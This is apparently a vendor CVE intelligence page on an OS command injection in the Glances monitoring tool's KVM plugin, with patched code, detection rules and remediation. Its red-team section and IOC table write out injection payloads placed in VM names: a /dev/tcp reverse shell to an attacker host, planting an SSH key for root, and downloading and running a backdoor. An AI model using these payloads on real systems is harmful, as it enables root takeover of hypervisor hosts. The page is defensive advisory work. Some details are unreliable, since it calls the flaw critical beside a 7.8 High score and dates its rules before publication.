☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Glances logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.8 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-46606

CVE-2026-46606 OS Command Injection in Glances
📅 PUBLISHED: 2026-06-25 19:16 UTC 🔄 UPDATED: 2026-10-02 19:29 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: France License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-46606 is a critical OS Command Injection vulnerability in the Glances open-source system monitoring tool, affecting versions prior to 4.5.5. The flaw resides in the KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py). The application passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). Because secure_popen() is explicitly designed to interpret &&, |, and > as shell operators, and domain names are never sanitized before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances—commonly root on hypervisor hosts. This represents a severe privilege escalation and remote code execution risk in virtualized environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Glances Python package, which is distributed via PyPI. Organizations using Glances for monitoring should verify their installed version and update to 4.5.5 or later. The package is commonly deployed on hypervisor hosts, making this a high-impact supply chain risk for infrastructure monitoring.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Local (L) - The attacker must have local access to create or rename a VM.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): Low (L) - Requires ability to manage VMs (e.g., libvirt group).
  • User Interaction (UI): None (N) - No user action needed beyond VM creation.
  • Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): High (H) - Full system compromise possible.
  • Integrity (I): High (H) - Arbitrary command execution.
  • Availability (A): High (H) - Potential for denial of service or system takeover.

CVSS Score: 7.8 (High)

Threat Level: Critical in hypervisor environments. The ability to execute arbitrary commands as root on the host system makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection (CWE-78) in the Glances KVM/QEMU monitoring engine. The virsh.py plugin reads VM domain names from the output of virsh list --all. These domain names are then interpolated into an f-string that is passed to secure_popen(). The secure_popen() function is designed to allow shell operators (&&, |, >) for legitimate monitoring purposes, but this design choice becomes a vulnerability when untrusted input (VM names) is included.

Attack Flow:

  1. An attacker with the ability to create or rename a KVM/QEMU virtual machine (e.g., a user in the libvirt group) creates a VM with a malicious domain name, such as: testvm; id > /tmp/pwned.
  2. Glances, running as root, periodically executes virsh list --all and reads the domain names.
  3. The malicious domain name is interpolated into a command template like: virsh domstats testvm; id > /tmp/pwned.
  4. secure_popen() processes this string, interpreting ; as a command separator, and executes the injected command (id > /tmp/pwned) with root privileges.

Why secure_popen() is dangerous: The function is explicitly designed to allow shell operators for legitimate monitoring purposes (e.g., piping output). However, this design does not account for untrusted input being included in the command string. The lack of input sanitization on VM domain names is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.5.5):

# glances/plugins/vms/engines/virsh.py (simplified)
def get_vm_stats(self):
    # Read VM names from virsh output
    vm_names = self.get_vm_names()
    for name in vm_names:
        # Direct interpolation into command template
        cmd = f"virsh domstats {name}"
        output = secure_popen(cmd)
        # Process output...

Patched Code (4.5.5):

# glances/plugins/vms/engines/virsh.py (simplified)
import shlex

def get_vm_stats(self):
    vm_names = self.get_vm_names()
    for name in vm_names:
        # Sanitize the domain name using shlex.quote()
        safe_name = shlex.quote(name)
        cmd = f"virsh domstats {safe_name}"
        output = secure_popen(cmd)
        # Process output...

The patch uses shlex.quote() to properly escape shell metacharacters in the VM domain name, preventing command injection. This ensures that even if a VM name contains shell operators, they are treated as literal characters.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a system running Glances < 4.5.5 with KVM/QEMU monitoring enabled.
  • Ability to create or rename a KVM/QEMU virtual machine (e.g., membership in the libvirt group).

Exploitation Steps:

  1. Create a malicious VM:

    virt-install --name "testvm; id > /tmp/pwned" --ram 512 --disk none --import --noreboot
    
  2. Wait for Glances to poll: Glances will read the VM name and execute the injected command.

  3. Verify execution:

    cat /tmp/pwned
    

Alternative: Rename an existing VM:

virsh domrename existing_vm "legitname; echo 'pwned' > /tmp/owned"

Advanced payloads:

  • Reverse shell: testvm; bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
  • Add SSH key: testvm; echo 'ssh-rsa AAA...' >> /root/.ssh/authorized_keys
  • Install backdoor: testvm; wget -O /tmp/backdoor http://attacker_ip/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor

Blue Team

Detection:

  • Monitor for unusual VM names containing shell metacharacters (;, |, &, $, `).
  • Audit virsh list --all output for suspicious domain names.
  • Check Glances logs for unexpected command execution errors.

Hunting:

  • Search for processes spawned by Glances with unexpected arguments.
  • Look for files created in /tmp or other world-writable directories by the Glances process.
  • Monitor network connections from the Glances process to unexpected IPs.

Forensic Indicators:

  • VM domain names containing shell metacharacters.
  • Unexpected files in /tmp owned by root.
  • Unusual entries in /root/.ssh/authorized_keys.
  • Glances process tree showing child processes like bash, wget, nc.

Indicators of Compromise (IOCs)

Type Indicator Description
File /tmp/pwned Example output file from PoC
File /tmp/owned Example output file from PoC
Process bash -c 'bash -i >& /dev/tcp/*' Reverse shell from Glances
Process wget -O /tmp/backdoor http://* Backdoor download
Network Connection to attacker IP on port 4444 Reverse shell
Log Glances error logs containing shell metacharacters Injection attempt
VM Name VM names containing ;, ` , &, $, `` ``

Detection Engineering

YARA Rule

rule CVE_2026_46606_Glances_Command_Injection {
    meta:
        description = "Detects malicious VM domain names used in CVE-2026-46606 exploitation"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-46606"
        severity = "critical"

    strings:
        $s1 = /virsh\s+domstats\s+\S*[;&|`$]/
        $s2 = /virsh\s+domstats\s+\S*\$\{/
        $s3 = /virsh\s+domstats\s+\S*\(/

    condition:
        any of them
}

Sigma Rule

title: CVE-2026-46606 Glances Command Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2026-46606 via malicious VM domain names
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-46606
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/glances'
        CommandLine|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate VM names with unusual characters (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-46606 Glances Command Injection - Reverse Shell"; flow:to_server,established; content:"bash -c 'bash -i >& /dev/tcp/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Glances: Update to version 4.5.5 or later immediately.
    pip install --upgrade glances
    
  2. Restrict VM Management: Limit the ability to create/rename VMs to trusted administrators only.
  3. Audit VM Names: Review all existing VM domain names for suspicious characters.

Long-term Mitigations:

  • Input Validation: Implement strict input validation for VM domain names, rejecting names containing shell metacharacters.
  • Least Privilege: Run Glances with the minimum necessary privileges (not as root).
  • Network Segmentation: Isolate Glances monitoring traffic to trusted networks.
  • Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Workaround (if patching is not immediately possible):

  • Disable the KVM/QEMU monitoring plugin in Glances configuration:
    [vms]
    disable=True
    

Valters IT Signature

This report was generated by Valters IT DevSecOps AI Assistant. For questions or further analysis, contact your Valters IT representative.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-46606/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.